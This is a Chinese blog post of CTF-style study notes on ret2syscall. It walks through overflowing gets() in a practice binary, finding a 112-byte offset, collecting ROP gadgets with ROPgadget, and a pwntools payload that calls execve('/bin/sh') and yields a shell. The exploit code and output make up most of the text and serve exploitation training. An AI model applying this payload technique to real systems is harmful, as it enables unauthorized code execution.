syscall&ret2syscall学习笔记

使用checksec检查保护

1
2
3
4
5
6
7
checksec rop 
[*] 'rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

丢进IDA查看源码

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}

使用GEF计算偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gdb -q rop  
Reading symbols from rop...
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/qwq/pwn/rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0xfbad2288
EDX: 0x80eb4e0 --> 0x0
ESI: 0x0
EDI: 0x80ea00c --> 0x8067b10 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd020 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd020 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd024 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd028 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd02c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd030 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd034 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd038 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd03c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern offset AA8A
AA8A found at offset: 112

手动计算也是可以的(当然手动计算只是为了了解原理,用工具算更方便)
在IDA中找到call gets的位置,设置断点并运行

1
2
3
.text:08048E8F                 lea     eax, [esp+1Ch]
.text:08048E93 mov [esp], eax
.text:08048E96 call gets
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ b *0x08048E96
Breakpoint 1 at 0x8048e96: file rop.c, line 15.
gdb-peda$ r
Starting program: rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
[----------------------------------registers-----------------------------------]
EAX: 0xffffcfac --> 0x3
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0x80eb4d4 --> 0x0
EDX: 0x18
ESI: 0x0
EDI: 0x80ea00c --> 0x8067b10 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0xffffd018 --> 0x8049630 (<__libc_csu_fini>: push ebx)
ESP: 0xffffcf90 --> 0xffffcfac --> 0x3
EIP: 0x8048e96 (<main+114>: call 0x804f650 <gets>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

可以看到ESP为0xffffcf90,s为0xffffcfac,EBP为0xffffd018
0xffffd018-0xffffcfac+4得到偏移量112
我们要执行的内容是

1
2
3
execve("/bin/sh",NULL,NULL)
相当于
int 0x80(eax,ebx,ecx,edx)

该程序是32位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
那么要如何控制这些寄存器的值呢?如果栈顶是1,pop eax之后eax的值就会变为1。这里就需要使用对应操作的gadgets了。
先找出pop eax然后ret的gadgets

1
2
3
4
5
6
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax' 
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

这里使用最简单的第二个来作为gadgets
同理,我们还需要找出控制另外三个寄存器的gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

发现这里的0x0806eb90可以直接控制edx,ecx,ebx三个寄存器,比较方便,于是直接选用这个作为gadgets
然后还需要找出”/bin/sh”和int 0x80 的地址

1
2
3
4
5
6
7
8
9
10
11
ROPgadget --binary rop --string "/bin/sh"  
Strings information
============================================================
0x080be408 : /bin/sh

ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

然后就可以写出对应的payload了

1
2
3
4
5
6
7
8
9
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_sh = 0x80be408
payload = b'A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)
print(payload)
sh.sendline(payload)
sh.interactive()

成功getshell

1
2
3
4
5
6
7
8
[+] Starting local process './rop': pid 1768271
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\xb1\x0b\x08\x0b\x00\x00\x00\x90\xeb\x06\x08\x00\x00\x00\x00\x00\x00\x00\x00\x08\xe4\x0b\x08!\x94\x04\x08'
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ whoami
qwq
$
作者

RinkoQwQ

发布于

2021-01-16

更新于

2021-01-16

许可协议

评论

You forgot to set the shortname for Disqus. Please set it in _config.yml.